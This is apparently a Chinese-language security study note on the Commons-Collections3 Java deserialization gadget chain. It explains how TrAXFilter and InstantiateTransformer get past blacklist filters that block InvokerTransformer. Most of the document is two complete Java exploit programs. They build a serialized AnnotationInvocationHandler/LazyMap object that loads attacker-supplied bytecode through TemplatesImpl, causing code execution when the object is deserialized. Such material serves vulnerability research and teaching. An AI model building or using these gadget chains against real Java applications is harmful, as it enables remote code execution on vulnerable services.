利用版本:
CommonsCollections 3.1 - 3.2.1
jdk 8u71 版本之前
2015年初,@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruinyour day》,以及Java反序列化利用工具ysoserial,随后引爆了安全界。开发者们自然会去找寻一种安全的过滤方法,于是类似SerialKiller这样的工具随之诞生。
SerialKiller是一个Java反序列化过滤器,可以通过黑名单与白名单的方式来限制反序列化时允许通过的
类。在其发布的第一个版本代码中,我们可以看到其给出了最初的黑名单:
上面是从p牛那里抠的图和话。😍
Commons-Collections3的目的便是绕过一些限制(比如InvokerTransformer),Commons-Collections3使用 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
来替代InvokerTransformer
中的任意方法执行(此处为new InvokerTransformer("newTransformer", null, null)
)TrAXFilter的构造方法中调用了 (TransformerImpl) templates.newTransformer()
,使得我们可以免去了使用
InvokerTransformer
调用 newTransformer()
方法。从而绕过InvokerTransformer
的限制。
可以看到Commons-Collections3其实就是在Commons-Collections1的基础上进行了绕过。在结合TemplatesImpl动态加载字节码实现代码执行。
相关类
TrAXFilter
TrAXFilter#TrAXFilter
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
InstantiateTransformer
Commons Collections 提供了 InstantiateTransformer类
可通过反射创建类的实例,在 InstantiateTransformer#transform()
方法接收一个 Class 类型的对象(此处为TrAXFilter.class
),通过 getConstructor
获取构造方法,并通过 newInstance
创建类实例
InstantiateTransformer#InstantiateTransformer
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
InstantiateTransformer#transform
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
iParamTypes(TrAXFilter构造方法的参数类型.class)与iArgs(参数值)均可控,初始化时传入。
input为TrAXFilter.class
。
Commons-Collections1与TemplatesImpl相结合的代码未进行绕过的
package Cc3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Cc3 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("C:\\class\\","Temp.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "notnull");
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
// lazyMap.get(null);
// 通过反射获取AnnotationInvocationHandler
Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> Constructor = cls.getDeclaredConstructor(Class.class, Map.class);
Constructor.setAccessible(true);
// 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
InvocationHandler handler = (InvocationHandler)Constructor.newInstance(Target.class, lazyMap);
// 创建LazyMap的动态代理类实例
Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), handler);
// 使用动态代理初始化 AnnotationInvocationHandler
handler = (InvocationHandler)Constructor.newInstance(Target.class, lazyMapProxy);
// serialize(handler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("ser.bin"));
o.writeObject(obj);
}
public static Object unserialize(String s) throws IOException, ClassNotFoundException {
ObjectInputStream o = new ObjectInputStream(new FileInputStream(s));
return o.readObject();
}
public static void setFieldValue(Object obj,String name,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
}
使用TrAXFilter
类绕过黑名单,因为该类未继承Serializable接口无法反序列化,所以通过反射获取该类,可使用InstantiateTransformer
类。
package Cc3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Cc6 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("C:\\class\\","Temp.class"));
Templates obj = new TemplatesImpl();
setFieldValue(obj, "_name", "notnull");
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
// 通过反射获取AnnotationInvocationHandler
Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> Constructor = cls.getDeclaredConstructor(Class.class, Map.class);
Constructor.setAccessible(true);
// 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
InvocationHandler handler = (InvocationHandler)Constructor.newInstance(Target.class, lazyMap);
// 创建LazyMap的动态代理类实例
Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), handler);
// 使用动态代理初始化 AnnotationInvocationHandler
handler = (InvocationHandler)Constructor.newInstance(Target.class, lazyMapProxy);
serialize(handler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("ser.bin"));
o.writeObject(obj);
}
public static Object unserialize(String s) throws IOException, ClassNotFoundException {
ObjectInputStream o = new ObjectInputStream(new FileInputStream(s));
return o.readObject();
}
public static void setFieldValue(Object obj,String name,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
}